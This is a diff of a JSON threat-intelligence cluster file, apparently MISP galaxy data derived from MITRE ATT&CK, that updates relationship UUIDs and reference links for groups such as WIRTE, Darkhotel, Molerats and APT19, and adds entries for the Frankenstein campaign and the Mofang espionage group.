"dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7510,7 +9297,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7531,28 +9318,56 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c13d9621-aca7-436b-ab3d-3a95badb3d00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7588,7 +9403,7 @@ "type": "similar" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7609,7 +9424,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7630,7 +9445,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7644,14 +9459,14 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7663,6 +9478,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", @@ -7682,21 +9504,21 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7710,7 +9532,7 @@ "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7734,13 +9556,212 @@ "uuid": "f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "value": "WIRTE - G0090" }, + { + "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019) ", + "meta": { + "external_id": "G0101", + "refs": [ + "https://attack.mitre.org/groups/G0101", + "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html" + ], + "synonyms": [ + "Frankenstein" + ] + }, + "related": [ + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6b1b551c-d770-4f95-8cfc-3cd253c4c04e", + "value": "Frankenstein - G0101" + }, { "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)", "meta": { "external_id": "G0011", "refs": [ "https://attack.mitre.org/groups/G0011", - "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2", + "https://airbus-cyber-security.com/the-eye-of-the-tiger/", "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" ], "synonyms": [ @@ -7974,7 +9995,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8009,7 +10030,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8023,21 +10044,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8056,6 +10077,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648", @@ -8090,14 +10118,7 @@ "type": "similar" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8111,35 +10132,35 @@ "type": "uses" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8160,21 +10181,21 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8209,7 +10230,7 @@ "type": "uses" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8223,7 +10244,7 @@ "type": "uses" }, { - "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8237,7 +10258,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8258,7 +10279,7 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8286,7 +10307,7 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8328,7 +10349,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8356,14 +10377,7 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8394,7 +10408,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8415,14 +10429,14 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8443,7 +10457,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8457,7 +10471,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8471,7 +10485,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8485,14 +10499,14 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8503,13 +10517,13 @@ "value": "Darkhotel - G0012" }, { - "description": "[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)", "meta": { "external_id": "G0021", "refs": [ "https://attack.mitre.org/groups/G0021", - "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", + "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" ], "synonyms": [ @@ -8527,7 +10541,7 @@ "type": "similar" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8548,7 +10562,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8560,6 +10574,90 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411", @@ -8586,21 +10684,21 @@ "type": "similar" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8649,7 +10747,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8705,14 +10803,14 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8751,7 +10849,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8765,7 +10863,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8779,21 +10877,21 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8807,14 +10905,14 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8828,7 +10926,7 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8842,7 +10940,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8856,14 +10954,14 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8891,7 +10989,7 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8901,6 +10999,72 @@ "uuid": "fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "value": "APT19 - G0073" }, + { + "description": "[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)", + "meta": { + "external_id": "G0103", + "refs": [ + "https://attack.mitre.org/groups/G0103", + "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf" + ], + "synonyms": [ + "Mofang" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "115f88dd-0618-4389-83cb-98d33ae81848", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5763217a-05b6-4edd-9bca-057e47b5e403", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "88489675-d216-4884-a98f-49a89fcc1643", + "value": "Mofang - G0103" + }, { "description": "[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)", "meta": { @@ -8915,7 +11079,7 @@ }, "related": [ { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8929,14 +11093,14 @@ "type": "uses" }, { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8950,42 +11114,42 